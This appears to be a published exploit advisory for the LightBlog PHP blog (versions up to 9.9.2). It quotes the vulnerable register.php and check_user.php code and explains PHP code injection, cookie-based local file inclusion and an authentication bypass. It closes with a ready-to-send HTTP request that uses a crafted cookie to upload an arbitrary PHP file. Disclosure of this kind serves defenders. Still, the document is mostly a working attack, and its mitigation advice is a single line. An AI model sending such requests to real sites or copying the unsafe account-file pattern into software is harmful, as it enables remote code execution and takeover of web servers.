LightBlog <= 9.9.2 (register.php) Remote Code Execution Exploit

LightBlog is vulnerable to Remote Code Execution due to improper sanitisation of user input in register.php and check_user.php. An attacker can inject arbitrary PHP code into the cookie and execute it due to the code in check_user.php includes the cookie value without any sanitisation.

Mitigation:

Input validation should be performed to prevent malicious code injection.

	[-] vulnerable code in /register.php

	58.	    $username_towrite = stripslashes(htmlspecialchars($_POST['username_post'], ENT_QUOTES));
	59.	    $password_towrite = stripslashes(md5(htmlspecialchars($_POST['pwd1_post'], ENT_QUOTES)));
	60.	    $name_towrite = stripslashes(htmlspecialchars($_POST['name_post'], ENT_QUOTES));
	61.	    $email_towrite = stripslashes(htmlspecialchars($_POST['email_post'], ENT_QUOTES));
	62.	
	63.	    $newaccountfile = "./accounts/{$username_towrite}.php";
	64.	                         
	65.	    $details = "<?php
	66.	                \$password = \"{$password_towrite}\";
	67.	                \$name = \"{$name_towrite}\";
	68.	                \$email = \"{$email_towrite}\";
	69.	                \$type = \"member\";
	70.	                \$location = \"\";
	71.	                \$aboutme = \"\";
	72.	                \$website = \"\";
	73.	                ?>";
	74.	
	75.	    $fd = fopen ($newaccountfile, "w");
	76.	    chmod($newaccountfile, 0777);
	77.	    fwrite ($fd, $details);
	78.	    fclose($fd);

	An attacker could be able to inject and execute arbitrary PHP code due to new accounts are saved
	with "php" extension. This is possible because input is not properly sanitised, so you can use
	"complex curly syntax", which allows to put complex expressions into string definitions.

	[-] vulnerable code in /check_user.php

	6.	if(isset($_COOKIE['Lightblog_username']) and isset($_COOKIE['Lightblog_password'])){
	7.	
	8.	    $username_cookie = $_COOKIE['Lightblog_username'];
	9.	    $password_cookie = $_COOKIE['Lightblog_password'];
	10.	
	11.	    if(file_exists("./accounts/{$username_cookie}.php")){
	12.	
	13.	        include("./accounts/{$username_cookie}.php");
	14.	
	15.	        if($password_cookie != $password){
	16.	            
	17.	            setcookie("Lightblog_password", "", time()-9999999);
	18.	            setcookie("Lightblog_username", "", time()-9999999);
	19.	            echo "<script>location.replace('login.php')</script>";
	20.	            exit; 
	21.	
	22.	        } else { 
	23.	            $username = $username_cookie;
	24.	            $user = true; 
	25.	        }

	In addition to the LFI (line 13), an attacker could be able to bypass the authentication by
	setting special crafted cookies. So anyone can access to cp_*.php and is able to to upload
	arbitrary file or put malicious php code into e.g. settings.php. Arbitrary file upload poc:

	POST /lightblog/cp_preview.php HTTP/1.0
	Host: localhost
	Cookie: Lightblog_password=; Lightblog_username=../header
	Content-Length: 166
	Content-Type: multipart/form-data; boundary=o0oOo0o
	Connection: close

	--o0oOo0o
	Content-Disposition: form-data; name="image"; filename="poc.php"

	<?php evil_code(); ?>
	--o0oOo0o--
